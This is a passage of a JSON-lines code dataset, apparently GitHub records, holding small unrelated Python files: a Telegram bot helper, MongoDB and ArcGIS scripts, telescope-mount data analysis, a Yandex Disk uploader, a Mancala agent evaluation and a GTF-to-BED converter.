first_file:\n                c += 1\n\n                if c == 1:\n                    firstLoad = int(row3[0])\n                \n                if c == 2:\n                    beginChoice = str(row3[0])\n                    break\n               \n                \n\n\n    except Exception:\n        firstLoad = 1\n\n    if firstLoad == 1:\n        print(\"The standard (pre-loaded) materials are: Silicate, Carbon, Iridium, Adamantite, Palladium, Titanium, Quantium.\")\n        print()\n        userPrompt = getString(\"Do you wish for the standard materials to be included? (y/n) \")\n        if userPrompt == 'y':\n            print()\n            MATS_NAME = [SILICATE_NAME, CARBON_NAME, IRIDIUM_NAME, ADAMANTITE_NAME, PALLADIUM_NAME, TITANIUM_NAME, QUANTIUM_NAME]\n            MATS_VALUE = [SILICATE, CARBON, IRIDIUM, ADAMANTITE, PALLADIUM, TITANIUM, QUANTIUM]\n            SHIP_VALUE = list(MATS_VALUE)\n            firstLoad = 0\n            beginChoice = 'y'\n            saveData()\n            loadExtraMaterial()\n        elif userPrompt == 'n':\n            MATS_NAME = []\n            MATS_VALUE = []\n            SHIP_VALUE = list(MATS_VALUE)\n            firstLoad = 0\n            beginChoice = 'n'\n            saveData()\n            loadExtraMaterial()\n\n        else:\n            print()\n            print(\"Please make a valid selection.\")\n            time.sleep(2)\n            cls()\n            coreFunction()\n\n    elif firstLoad == 0:\n        if beginChoice ==  'y':\n            MATS_NAME = [SILICATE_NAME, CARBON_NAME, IRIDIUM_NAME, ADAMANTITE_NAME, PALLADIUM_NAME, TITANIUM_NAME, QUANTIUM_NAME]\n            MATS_VALUE = [SILICATE, CARBON, IRIDIUM, ADAMANTITE, PALLADIUM, TITANIUM, QUANTIUM]\n            SHIP_VALUE = list(MATS_VALUE)\n            loadExtraMaterial()\n        if beginChoice == 'n':\n            MATS_NAME = []\n            MATS_VALUE = []\n            SHIP_VALUE = list(MATS_VALUE)\n            loadExtraMaterial()\n\n    return;\n\nfirstLoading()","repo_name":"LudwigKaddinDev/GALAXY-BASIC-PROGRAMME","sub_path":"ROBLOX Algorithm/ROBLOX_Algorithm.py","file_name":"ROBLOX_Algorithm.py","file_ext":"py","file_size_in_byte":15924,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"}
{"seq_id":"12293773791","text":"from typing import Any\nfrom pyrogram import Client\nfrom pyrogram.types import Message\n\n# ------------------------------------------------------------ #\n\nasync def cavablananmsj(message:Message) -> Any:\n    cavab_id = None\n\n    if message.reply_to_message:\n        cavab_id = message.reply_to_message.message_id\n\n    elif not message.from_user.is_self:\n        cavab_id = message.message_id\n\n    return cavab_id\n\n# ------------------------------------------------------------ #\n\nasync def istifadeci(message:Message) -> Any:\n    cavablanan_mesaj = message.reply_to_message\n\n    if cavablanan_mesaj:\n        istifadeci = cavablanan_mesaj.from_user\n    else:\n        istifadeci = message.from_user\n\n    istifadeci_id = istifadeci.id\n    istifadeci_adi = f\"@{istifadeci.username}\" if istifadeci.username else f\"[{istifadeci.first_name}](tg://user?id={istifadeci_id})\"\n\n    return istifadeci_adi, istifadeci_id\n  \n# ------------------------------------------------------------ #\n\nasync def istifadeci_foto(client:Client, message:Message) -> Any:\n    cavablanan_mesaj = message.reply_to_message\n\n    if cavablanan_mesaj:\n        rust = await client.get_users(message.reply_to_message.from_user.id)\n        return await client.download_media(rust.photo.big_file_id)\n    return None\n","repo_name":"rustres/Rust","sub_path":"Rustify/helper_funcsions/rustmisc.py","file_name":"rustmisc.py","file_ext":"py","file_size_in_byte":1275,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"}
{"seq_id":"43194347170","text":"import pymongo\n\nmyclient = pymongo.MongoClient(\"mongodb://localhost:27017/\")\nmydb = myclient[\"mydatabase\"]\nmycol = mydb[\"customers\"]\n\nfilter_query = { \"name\" : { \"$regex\" : \"^S\"}}\n\nmy_doc = mycol.find(filter_query)\n\nfor x in my_doc:\n    print(x)\n\n","repo_name":"aannddrree/Aula7-python-mongo","sub_path":"ex_cons_to_column2.py","file_name":"ex_cons_to_column2.py","file_ext":"py","file_size_in_byte":247,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"12319183529","text":"#-------------------------------------------------------------------------------\r\n# Name:        NV iGDE Database - Wetlands\r\n# Purpose:     Process the EPA Wetland data product to create the NV iGDE Wetlands layer\r\n#\r\n# Author:      sarah.byer\r\n#\r\n# Created:     January 2019\r\n# Copyright:   (c) sarah.byer 2019\r\n#-------------------------------------------------------------------------------\r\n\r\n# Import ArcGIS modules and check out spatial analyst extension\r\nimport arcpy, os\r\nfrom arcpy import env\r\nfrom arcpy.sa import *\r\narcpy.CheckOutExtension(\"spatial\")\r\n\r\n# Path to temporary geodatabase\r\npath =  r\"K:\\GIS3\\Projects\\GDE\\Geospatial\\Geodatabase_Layers\\NV_GDE_Template_Temp.gdb\"\r\n\r\n# Environment settings\r\nenv.workspace = path\r\nenv.overwriteOutput = True\r\nenv.outputCoordinateSystem = arcpy.SpatialReference(26911) # Spatial reference NAD 1983 UTM Zone 11N. The code is '26911'\r\n\r\n# Read in Ken's EPA Nevada Wetland dataset\r\nepa_wetlands = r\"K:\\GIS3\\Projects\\GDE\\Geospatial\\Geodatabase_Layers\\GDE_Wetlands\\NVwetV1d.gdb\\NVwetV1d.gdb\\NVwetV1d\"\r\n\r\n# \"\"\"NOTE wetland features contributed by TNC: #tnc_wetlands = r\"K:\\GIS3\\Projects\\GDE\\Geospatial\\Geodatabase_Layers\\GDE_Wetlands\\TNC_Wetland_Phre_050919.shp\"\"\"\"\r\n\r\n#-------------------------------------------------------------------------------\r\n# Exclude non-wetland features from the Wetland data\r\n\r\n# Make a copy of the original wetland feature class\r\nwet_copy = arcpy.Copy_management(epa_wetlands, \"wetlands_copy\")\r\n\r\n# Remove all Lake features from the copy\r\nwith arcpy.da.UpdateCursor(wet_copy, [\"WETLAND_TYPE\"]) as cursor:\r\n    for row in cursor:\r\n        if row[0] == \"Lake\":\r\n            print(\"Deleting {} as a non-wetland feature\".format(row[0]))\r\n            cursor.deleteRow()\r\ndel cursor\r\n\r\n\r\n# Remove dry playas\r\nwith arcpy.da.UpdateCursor(wet_copy, [\"WETLAND_SUBTYPE\"]) as cursor:\r\n    for row in cursor:\r\n        if row[0] == \"dry\":\r\n            print(\"Deleting dry playa as a non-wetland feature\")\r\n            cursor.deleteRow()\r\ndel cursor\r\n\r\n\r\n# Add source code field and populate\r\n# Desert Research Institute Wetlands = \"driw\"\r\narcpy.AddField_management(wet_copy, \"SOURCECODE\", \"TEXT\")\r\nwith arcpy.da.UpdateCursor(wet_copy, [\"SOURCECODE\"]) as cursor:\r\n    for row in cursor:\r\n        row[0] = \"driw\"\r\n        cursor.updateRow(row)\r\ndel cursor\r\n\r\n#-------------------------------------------------------------------------------\r\n# Add wetland features to GDE database\r\n\r\ngde_wetlands = r\"K:\\GIS3\\Projects\\GDE\\Geospatial\\NV_iGDE_050919.gdb\\Wetlands\"\r\n\r\n# Map to GDE Wetland layer and poy polygon features there:\r\ndef mapFields(inlayer, infield, mapfield_name, mapfield_alias, mapfield_type): # mapFields function\r\n    fldMap = arcpy.FieldMap()\r\n    fldMap.addInputField(inlayer, infield)\r\n    mapOut = fldMap.outputField\r\n    mapOut.name, mapOut.alias, mapOut.type = mapfield_name, mapfield_alias, mapfield_type\r\n    fldMap.outputField = mapOut\r\n    return fldMap\r\n\r\n# Field mapping for Wetlands layer\r\nwet_type_map = mapFields(wet_copy, \"WETLAND_TYPE\", \"WET_TYPE\", \"Wetland Type\", \"TEXT\")\r\nwet_subtype_map = mapFields(wet_copy, \"WETLAND_SUBTYPE\", \"WET_SUBTYPE\", \"Wetland Subtype\", \"TEXT\")\r\nsource_map = mapFields(wet_copy, \"SOURCECODE\", \"SOURCE_CODE\", \"Source Code\", \"TEXT\")\r\nfldMap_list = [wet_type_map, wet_subtype_map, source_map]\r\nwetFldMappings = arcpy.FieldMappings()\r\nfor fm in fldMap_list:\r\n    wetFldMappings.addFieldMap(fm)\r\n\r\n# Append to GDE database Wetland layer\r\narcpy.Append_management(wet_copy, gde_wetlands, \"NO_TEST\", wetFldMappings)\r\n\r\n# END","repo_name":"sbyer-tnc/Nevada-iGDE","sub_path":"GDE_Wetlands_clean.py","file_name":"GDE_Wetlands_clean.py","file_ext":"py","file_size_in_byte":3533,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"15807804182","text":"############################################################\n# -*- coding: utf-8 -*-\n#\n# Python-based Tool for interaction with the 10micron mounts\n# GUI with PyQT5 for python\n# Python  v3.5\n#\n# Michael Würtenberger\n# (c) 2016, 2017, 2018\n#\n# Licence APL2.0\n#\n############################################################\nimport json\nimport math\nimport os\nfrom logging import getLogger\n\n\nclass Analyse:\n    logger = getLogger(__name__)\n\n    UPDATE = {'index': 'Index',\n              'azimuth': 'Azimuth',\n              'altitude': 'Altitude',\n              'modelError': 'ModelError',\n              'raError': 'RaError',\n              'decError': 'DecError',\n              'ra_Jnow': 'RaJNow',\n              'dec_Jnow': 'DecJNow',\n              'ra_sol_Jnow': 'RaJNowSolved',\n              'dec_sol_Jnow': 'DecJNowSolved',\n              'pierside': 'Pierside',\n              'sidereal_time_float': 'LocalSiderealTimeFloat'}\n\n    def __init__(self, app):\n        self.filepath = '/analysedata'\n        self.app = app\n\n        self.app.ui.btn_split.clicked.connect(self.splitData)\n\n    def splitData(self):\n        mainFilename = self.app.ui.le_analyseFileName.text()\n        data = self.loadDataRaw(mainFilename)\n        lengthData = len(data['Index'])\n        for i in range(3, lengthData):\n            dataSplit = {}\n            for key in data:\n                dataSplit[key] = data[key][:i]\n            splitFilename = mainFilename + '_split_{0:02d}'.format(i)\n            self.saveData(dataSplit, splitFilename)\n\n    def saveData(self, dataProcess, name):\n        filenameData = os.getcwd() + self.filepath + '/' + name + '.dat'\n        try:\n            outfile = open(filenameData, 'w')\n            json.dump(dataProcess, outfile)\n            outfile.close()\n        except Exception as e:\n            self.logger.error('analyse data file {0}, Error : {1}'.format(filenameData, e))\n            return\n\n    def processTheSkyXLine(self, line):\n        ra_sol = self.app.mount.degStringToDecimal(line[0:13], ' ')\n        dec_sol = self.app.mount.degStringToDecimal(line[15:28], ' ')\n        ra = self.app.mount.degStringToDecimal(line[30:43], ' ')\n        dec = self.app.mount.degStringToDecimal(line[45:58], ' ')\n        lst = self.app.mount.degStringToDecimal(line[61:70], ' ')\n        return ra, dec, ra_sol, dec_sol, lst\n\n    def loadTheSkyXData(self, filename):\n        resultData = {}\n        try:\n            with open(filename) as infile:\n                lines = infile.read().splitlines()\n            infile.close()\n            # site_latitude = self.app.mount.degStringToDecimal(lines[4][0:9], ' ')\n            for i in range(5, len(lines)):\n                ra, dec, ra_sol, dec_sol, lst = self.processTheSkyXLine(lines[i])\n                if 'RaJ2000' in resultData:\n                    resultData['RaJ2000'].append(ra)\n                else:\n                    resultData['RaJ2000'] = [ra]\n                if 'DecJ2000' in resultData:\n                    resultData['DecJ2000'].append(dec)\n                else:\n                    resultData['DecJ2000'] = [dec]\n                ra_Jnow, dec_Jnow = self.app.mount.transformERFA(ra, dec, 3)\n                if 'RaJNow' in resultData:\n                    resultData['RaJNow'].append(ra_Jnow)\n                else:\n                    resultData['RaJNow'] = [ra_Jnow]\n                if 'DecJNow' in resultData:\n                    resultData['decJNow'].append(dec_Jnow)\n                else:\n                    resultData['DecJNow'] = [dec_Jnow]\n                if 'LocalSiderealTimeFloat' in resultData:\n                    resultData['LocalSiderealTimeFloat'].append(lst)\n                else:\n                    resultData['LocalSiderealTimeFloat'] = [lst]\n                if 'LocalSiderealTime' in resultData:\n                    resultData['LocalSiderealTime'].append(self.app.mount.decimalToDegree(lst, False, True))\n                else:\n                    resultData['LocalSiderealTime'] = [self.app.mount.decimalToDegree(lst, False, True)]\n                if 'RaJ2000Solved' in resultData:\n                    resultData['RaJ2000Solved'].append(ra_sol)\n                else:\n                    resultData['RaJ2000Solved'] = [ra_sol]\n                if 'DecJ2000Solved' in resultData:\n                    resultData['DecJ2000Solved'].append(dec_sol)\n                else:\n                    resultData['DecJ2000Solved'] = [dec_sol]\n                ra_sol_Jnow, dec_sol_Jnow = self.app.mount.transformERFA(ra_sol, dec_sol, 3)\n                if 'RaJNowSolved' in resultData:\n                    resultData['RaJNowSolved'].append(ra_sol_Jnow)\n                else:\n                    resultData['RaJNowSolved'] = [ra_sol_Jnow]\n                if 'DecJNowSolved' in resultData:\n                    resultData['DecJNowSolved'].append(dec_sol_Jnow)\n                else:\n                    resultData['DecJNowSolved'] = [dec_sol_Jnow]\n                ha = ra - lst\n                az, alt = self.app.mount.transformERFA(ha, dec, 3)\n                if 'Azimuth' in resultData:\n                    resultData['Azimuth'].append(az)\n                else:\n                    resultData['Azimuth'] = [az]\n                if 'Altitude' in resultData:\n                    resultData['Altitude'].append(alt)\n                else:\n                    resultData['Altitude'] = [alt]\n                if az <= 180:\n                    pierside = 'E'\n                else:\n                    pierside = 'W'\n                if 'Pierside' in resultData:\n                    resultData['Pierside'].append(pierside)\n                else:\n                    resultData['Pierside'] = [pierside]\n                if 'Index' in resultData:\n                    resultData['Index'].append(i - 5)\n                else:\n                    resultData['index'] = [i - 5]\n                if 'RaError' in resultData:\n                    resultData['RaError'].append((ra - ra_sol) * 3600)\n                else:\n                    resultData['RaError'] = [(ra - ra_sol) * 3600]\n                if 'DecError' in resultData:\n                    resultData['DecError'].append((dec - dec_sol) * 3600)\n                else:\n                    resultData['DecError'] = [(dec - dec_sol) * 3600]\n                if 'ModelError' in resultData:\n                    resultData['ModelError'].append(math.sqrt((ra - ra_sol) * 3600 * (ra - ra_sol) * 3600 + (dec - dec_sol) * 3600 * (dec - dec_sol) * 3600))\n                else:\n                    resultData['ModelError'] = [math.sqrt((ra - ra_sol) * 3600 * (ra - ra_sol) * 3600 + (dec - dec_sol) * 3600 * (dec - dec_sol) * 3600)]\n        except Exception as e:\n            self.logger.error('error processing file {0}, Error : {1}'.format(filename, e))\n            return {}\n        return resultData\n\n    def loadMountWizzardData(self, filename):\n        try:\n            infile = open(filename, 'r')\n            dataJson = json.load(infile)\n            infile.close()\n        except Exception as e:\n            self.logger.error('analyse data file {0}, Error : {1}'.format(filename, e))\n            return {}\n        # check if old file format\n        if isinstance(dataJson, list):\n            resultData = dict()\n            for timestepdict in dataJson:\n                for (keyData, valueData) in timestepdict.items():\n                    if keyData in self.UPDATE:\n                        keyData = self.UPDATE[keyData]\n                    if keyData in resultData:\n                        resultData[keyData].append(valueData)\n                    else:\n                        resultData[keyData] = [valueData]\n        else:\n            resultData = dataJson\n        return resultData\n\n    def loadDataRaw(self, filename):\n        filenameData = os.getcwd() + self.filepath + '/' + filename + '.dat'\n        if os.path.isfile(filenameData):\n            infile = open(filenameData, 'r')\n            dataJson = json.load(infile)\n            infile.close()\n            return dataJson\n        else:\n            return None\n\n    def loadData(self, filename):\n        filenameData = os.getcwd() + self.filepath + '/' + filename + '.dat'\n        if os.path.isfile(filenameData):\n            infile = open(filenameData, 'r')\n            check = infile.read(8)\n            infile.close()\n            if check == '!TheSkyX':\n                data = self.loadTheSkyXData(filenameData)\n            else:\n                data = self.loadMountWizzardData(filenameData)\n            return data\n        else:\n            return {}\n\n\nif __name__ == \"__main__\":\n    logger = getLogger(__name__)\n    from mount.mount_dispatcher import Mount\n    filename = '10micron_model.dat'\n    m = Mount\n    a = Analyse(m)\n    data = a.loadData(filename)\n    # print(data)\n","repo_name":"sayitfast/MountWizzard3","sub_path":"mountwizzard3/analyse/analysedata.py","file_name":"analysedata.py","file_ext":"py","file_size_in_byte":8733,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"}
{"seq_id":"14015457273","text":"# -*- coding: utf-8 -*-\n\n# (цикл for)\nimport simple_draw as sd\n# Нарисовать стену из кирпичей. Размер кирпича - 100х50\n# Использовать вложенные циклы for\nx = 0\ny = 1\nc = 0\nfor _ in range(100):\n    point = sd.get_point(x, y)\n    v1 = sd.get_vector(point, 0, 100)\n    v1.draw()\n    next_point = v1.end_point\n    v2 = sd.get_vector(next_point, 90, 50)\n    v2.draw()\n    next_point = v2.end_point\n    v3 = sd.get_vector(next_point, 180, 100)\n    v3.draw()\n    next_point = v3.end_point\n    v4 = sd.get_vector(next_point, 270, 50)\n    v4.draw()\n    x += 100\n    if x > 600:\n        y += 50\n        x = 0\nsd.pause()\n","repo_name":"AleksWhite911/My_code_training","sub_path":"lesson_003/07_wall.py","file_name":"07_wall.py","file_ext":"py","file_size_in_byte":679,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"2475809098","text":"import requests\n\n\nclass Yandex:\n    \"\"\"\n    Class for working with Yandex API\n    \"\"\"\n    def __init__(self, token):\n        self.token = token\n\n    def _get_headers(self):\n        return {\n            'Content-Type': 'application/json',\n            'Authorization': 'OAuth ' + self.token\n        }\n\n    def _get_upload_url(self, remote_file_path):\n        \"\"\"\n        Constructs URI for upload\n\n        :param remote_file_path: contains a path to a remote folder\n        :return: dict with href\n        \"\"\"\n        url = 'https://cloud-api.yandex.net/v1/disk/resources/upload'\n        headers = self._get_headers()\n        params = {\"path\": remote_file_path, \"overwrite\": \"true\"}\n        response = requests.get(url=url, headers=headers, params=params)\n        return response.json()\n\n    def upload_to_disk(self, remote_file_path, filename):\n        \"\"\"\n        Uploads local file to a remote folder\n\n        :param remote_file_path: path to a remote folder\n        :param filename: file name in local folder\n        :return: nothing\n        \"\"\"\n        href = self._get_upload_url(remote_file_path)\n        response = requests.put(href['href'], data=open(filename, 'rb'))\n        if response.status_code == 201:\n            print('Success')\n        else:\n            print('Uh-oh')\n","repo_name":"code-winter/requests_hw","sub_path":"yandex.py","file_name":"yandex.py","file_ext":"py","file_size_in_byte":1285,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"31588896402","text":"import requests\n\nAPI_BASE_URL = 'https://superheroapi.com/api/2619421814940190/'\n\ndef get_smartest_superhero(*superheros):\n    max_superhero_int = 0\n    smartest_superhero = ''\n    for superhero in superheros:\n        superhero_int = requests.get(API_BASE_URL + 'search/' + superhero).json()['results'][0]['powerstats']['intelligence']\n        if int(superhero_int) > int(max_superhero_int):\n            max_superhero_int = superhero_int\n            smartest_superhero = superhero\n\n    return print(f'Самый умный супергерой {smartest_superhero}, его интелект - {max_superhero_int}')\n\nget_smartest_superhero('Hulk', 'Thanos', 'Captain America')","repo_name":"pogorus/superhero_api","sub_path":"superhero_api.py","file_name":"superhero_api.py","file_ext":"py","file_size_in_byte":674,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"9839288668","text":"def return_prof_rating(file, prof_name):\n    x = open(file, 'r')\n    return_rating = \"\"\n    found = False\n    line = x.readline()\n    while len(line) != 0 and not found:\n        if line[:line.find(',')+4] == prof_name:\n            found = True\n            return_rating = line[-4: ]\n        line = x.readline()\n    x.close()\n    if return_rating == \"\":\n        return \"Name not Found\"\n    else:\n        return return_rating\n\n\n#print(return_prof_rating(\"ProfRatingFile\", \"Aziz,Han\"))\n\n\n\n\n","repo_name":"obaranek/UWScheduler","sub_path":"web_scrapers/file_reading.py","file_name":"file_reading.py","file_ext":"py","file_size_in_byte":487,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"9048208091","text":"# https://www.codewars.com/kata/59175441e76dc9f9bc00000f/python\n\n'''\nYou are a khmmadkhm scientist and you decided to play with electron \ndistribution among atom's shells. You know that basic idea of electron \ndistribution is that electrons should fill a shell untill it's holding \nthe maximum number of electrons.\n\nRules:\n\nMaximum number of electrons in a shell is distributed with a rule of 2n^2 \n(n being position of a shell).\nFor example, maximum number of electrons in 3rd shield is 2*3^2 = 18.\nElectrons should fill the lowest level shell first.\nIf the electrons have completely filled the lowest level shell, the other \nunoccupied electrons will fill the higher level shell and so on.\n'''\n\n# jelikoz jsem dement a nechapu zadani, tak po konzultaci jsem zjistil:\n# uzivatel zada nejake cislo 'x'\n# pak vypocitam 'z = 2*n^2', kde 'n' je cislo vrstvy ('z = kapacita vrstvy')\n# vysledek 'z' odectu od uzivatelem zadaneho cisla 'x' a dostanu 'y'\n# opakuji postup pro 'y', dokud 'kapacita vrstvy'  > 'y'\n# \n\ndef distributorOfPain(hausnumero):\n    # iterator, = cislo vrstvy\n    cisloVrstvy = 0\n    vystup = []\n    zbyleElektrony = hausnumero\n    while True:\n        cisloVrstvy += 1\n        kapacitaVrstvy = 2*cisloVrstvy*cisloVrstvy\n        if kapacitaVrstvy < zbyleElektrony:\n            vystup.append(kapacitaVrstvy)\n        else:\n            vystup.append(zbyleElektrony)\n            return vystup\n            break\n            \n        \n        zbyleElektrony = zbyleElektrony - kapacitaVrstvy\n                \nprint(distributorOfPain(100))\n","repo_name":"klusik/Python","sub_path":"019 -- Online Python/m -- electronDistributor.py","file_name":"m -- electronDistributor.py","file_ext":"py","file_size_in_byte":1547,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"72156982120","text":"import sys\nsys.path.append('../')\n\nimport argparse\nimport torch\nimport torch.utils.data\nfrom torch import nn, optim\nfrom torchvision import datasets, transforms\nfrom torch.autograd import Variable\nfrom torch.distributions import multivariate_normal\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport time\nimport os\nfrom src.sinkhorn import Sinkhorn\nfrom src.wvi_autoencoder import *\n\n\nparser = argparse.ArgumentParser(description='VAE MNIST Example')\nparser.add_argument('--batch-size', type=int, default=20, metavar='N',\nhelp='input batch size for training (default: 128)')\nparser.add_argument('--epochs', type=int, default=10, metavar='N',\nhelp='number of epochs to train (default: 10)')\nparser.add_argument('--seed', type=int, default=1, metavar='S',\nhelp='random seed (default: 1)')\nparser.add_argument('--log-interval', type=int, default=1000, metavar='N',\nhelp='how many batches to wait before logging training status')\nargs, unknown = parser.parse_known_args()\n\ntorch.manual_seed(args.seed)\ndataset_dimension = 28\n\ndevice = torch.device(\"cpu\")\n\n\ntrain_loader = torch.utils.data.DataLoader(\ndatasets.MNIST('../data', train=True, download=True,\ntransform=transforms.Compose([\n    transforms.Resize((dataset_dimension,dataset_dimension)),transforms.ToTensor(),\n                   ])),batch_size=args.batch_size, shuffle=False)\n\nif __name__ == \"__main__\":\n    latent_dim = 10\n    image_size = 784\n    num_hidden = 100\n    load_previous = False\n\n    encoder = A_Encoder(latent_dim=latent_dim,image_size=image_size,hidden_dim=num_hidden).to(device)\n    decoder = A_Decoder(latent_dim=latent_dim,image_size=image_size,hidden_dim=num_hidden).to(device)\n    model = Autoencoder(encoder, decoder)\n    optimizer = optim.Adam(model.parameters(), lr=1e-3, weight_decay=1e-5)\n    scheduler = optim.lr_scheduler.ReduceLROnPlateau(optimizer, factor=0.5, min_lr=1e-5, patience=20, verbose=True)\n    previous_epoch = 0\n    training_loss = []\n    for epoch in range(1, args.epochs + 1):\n        training_loss.append(train(epoch,model,image_size=image_size,latent_dim=latent_dim,prior='Gauss'))\n        if epoch % 50 == 0:\n            torch.save(model.state_dict(),'models/mnist_wvi_' + str(epoch+previous_epoch) + '_' + str(args.batch_size) + '_' + str(latent_dim) +  '.model')\n            torch.save(encoder.state_dict(), 'models/mnist_wvi_encoder_' + str(epoch+previous_epoch) + '_' + str(args.batch_size)+ '_' + str(latent_dim)+ '.model')\n            torch.save(decoder.state_dict(), 'models/mnist_wvi_decoder_'+ str(epoch+previous_epoch) + '_' + str(args.batch_size)+ '_' + str(latent_dim)+ '.model')\n        scheduler.step(training_loss[-1])\n\n    plt.plot(np.array(training_loss))\n    plt.savefig('losses.PNG')\n    plt.close()\n","repo_name":"giosueio/wassersteinVI","sub_path":"tests/wvi_autoencoder_test.py","file_name":"wvi_autoencoder_test.py","file_ext":"py","file_size_in_byte":2727,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"32169844770","text":"import os\nimport sys\nimport time\nimport pygame\nfrom pygame.locals import MOUSEBUTTONDOWN, QUIT\nimport torch\nfrom simple import MaxAgent\nimport numpy as np\n\nfrom gymenv import MancalaEnv, InvalidCoordinatesError\nfrom deepq import MancalaAgentModel, DeepQAgent, MaxQStrategy\n\nmodel_fn = os.path.join(\"save\", \"policy\")\n\n\ndef debug_print(player, initial_state, env, action, reward):\n\n    format_state = lambda s: \"[{}] {} [{}] {}\".format(s[0], s[1:7], s[7], s[8:14])\n\n    print(\"{} action: {}\\nState before:{}\\nState after: {}\\nReward: {}\\n\".format(\n        player,\n        action,\n        format_state(initial_state),\n        format_state(env.state),\n        reward\n    ))\n\n\ndef handle_game_end():\n    if done:\n        print(\"Game has ended!\\nFinal scores: P1 {}, P2 {}\".format(\n            env.get_player_score(0),\n            env.get_player_score(1)\n              ))\n        env.reset()\n        env.reset()\n\n\nos.environ['SDL_VIDEO_WINDOW_POS'] = '%i,%i' % (30, 100)\nos.environ['SDL_VIDEO_CENTERED'] = '0'\n\nmodel_fn = sys.argv[1] if len(sys.argv) > 1 else os.path.join(\"save\", \"policy\")\nMODEL_SAVE_DIR = 'save'\n\nif torch.cuda.is_available():\n\n    # GPU Config\n\n    device = torch.device('cuda')\n\nelse:\n    # CPU Config\n\n    device = torch.device('cpu')\n\n\nenv = MancalaEnv(has_screen=True)\n\n# if model_fn is not None and os.path.isfile(model_fn):\n#     print(\"Loading model: {} ...\".format(model_fn))\n#     policy_net = torch.load(os.path.join(os.getcwd(), model_fn), map_location='cpu')\n# else:\n#     policy_net = MancalaAgentModel().to(device)\n\nagent = MaxAgent()\n\nstate = env.create_state(\n    [1,\n     1, 1, 0, 9, 9, 9, \n     3,\n     8, 1, 8, 8, 7, 7]\n    , 1)\n\ndone = False\n\nvalid_actions = env.get_valid_actions()\n\np2_view = MancalaEnv.shift_view_p2(state)\n\nagent.select_action(p2_view, valid_actions, env)\n\n","repo_name":"muellerberndt/mancala-deepq","sub_path":"evaluate_agent.py","file_name":"evaluate_agent.py","file_ext":"py","file_size_in_byte":1811,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"18"}
{"seq_id":"74838288360","text":"#!/usr/bin/env python\n\"\"\"Convert a GTF to various format (still limited).\"\"\"\n\nimport argparse\nimport os\nimport sys\n\nimport gc\n\nfrom pygtftk import arg_formatter\nfrom pygtftk.cmd_object import CmdObject\nfrom pygtftk.gtf_interface import GTF\nfrom pygtftk.utils import close_properly\n\n__updated__ = \"2018-01-20\"\n\n\ndef make_parser():\n    \"\"\"The program parser.\"\"\"\n    parser = argparse.ArgumentParser(add_help=True)\n\n    parser_grp = parser.add_argument_group('Arguments')\n\n    parser_grp.add_argument('-i', '--inputfile',\n                            help=\"Path to the GTF file. Default to STDIN.\",\n                            default=sys.stdin,\n                            metavar=\"GTF\",\n                            required=False,\n                            type=arg_formatter.FormattedFile(mode='r', file_ext=('gtf', 'gtf.gz')))\n\n    parser_grp.add_argument('-o', '--outputfile',\n                            help=\"Output file.\",\n                            default=sys.stdout,\n                            metavar=\"BED/BED3/BED6\",\n                            type=arg_formatter.FormattedFile(mode='w', file_ext='bed'))\n\n    parser_grp.add_argument('-n', '--names',\n                            help=\"The key(s) that should be used as name.\",\n                            default=\"gene_id,transcript_id\",\n                            metavar=\"NAME\",\n                            type=str)\n\n    parser_grp.add_argument('-s', '--separator',\n                            help=\"The separator to be used for separating name elements (see -n).\",\n                            default=\"|\",\n                            metavar=\"SEP\",\n                            type=str)\n\n    parser_grp.add_argument('-m', '--more-names',\n                            help=\"Add this information to the 'name' column of the BED file.\",\n                            default=\"\",\n                            type=str)\n\n    parser_grp.add_argument('-f', '--format',\n                            help='Currently one of bed3, bed6',\n                            type=str,\n                            choices=('bed', 'bed3', 'bed6'),\n                            default='bed6',\n                            required=False)\n\n    return parser\n\n\ndef convert(inputfile=None,\n            outputfile=None,\n            format=\"bed\",\n            names=\"gene_id,transcript_id\",\n            separator=\"|\",\n            more_names=''):\n    \"\"\"\n Convert a GTF to various format.\n    \"\"\"\n\n    if format == \"bed3\":\n        gtf = GTF(inputfile, check_ensembl_format=False)\n\n        for i in gtf.extract_data(\"seqid,start,end\", as_list_of_list=True, hide_undef=False, no_na=False):\n            i[1] = str(int(i[1]) - 1)\n            outputfile.write(\"\\t\".join(i) + \"\\n\")\n\n    elif format in [\"bed\", \"bed6\"]:\n        gtf = GTF(inputfile,\n                  check_ensembl_format=False).write_bed(outputfile=outputfile,\n                                                        name=names,\n                                                        sep=separator,\n                                                        more_name=more_names)\n    gc.disable()\n    close_properly(outputfile, inputfile)\n\n\ndef main():\n    \"\"\"The main program.\"\"\"\n    myparser = make_parser()\n    args = myparser.parse_args()\n    args = dict(args.__dict__)\n    convert(**args)\n\n\nif __name__ == '__main__':\n    main()\n\nelse:\n\n    test = '''\n\n    # convert: load dataset\n    @test \"convert_0\" {\n     result=`gtftk get_example -f '*' -d simple`\n      [ \"$result\" = \"\" ]\n    }\n            \n    # Convert:\n    @test \"convert_1\" {\n     result=`gtftk convert -i simple.gtf | awk 'BEGIN{FS=\"\\\\t\"}{print NF}'| sort | uniq`\n      [ \"$result\" -eq 6 ]\n    }\n    \n    \n    # Convert: basic.\n    @test \"convert_2\" {\n     result=`gtftk convert -f bed3 -i simple.gtf | awk 'BEGIN{FS=\"\\\\t\"}{print NF}'| sort | uniq`\n      [ \"$result\" -eq 3 ]\n    }\n    \n    # Convert: check name.\n    @test \"convert_3\" {\n     result=`gtftk convert -i simple.gtf -n gene_id,transcript_id,start | cut -f4| awk 'BEGIN{FS=\"|\"}{print NF}'| sort | uniq`\n      [ \"$result\" -eq 3 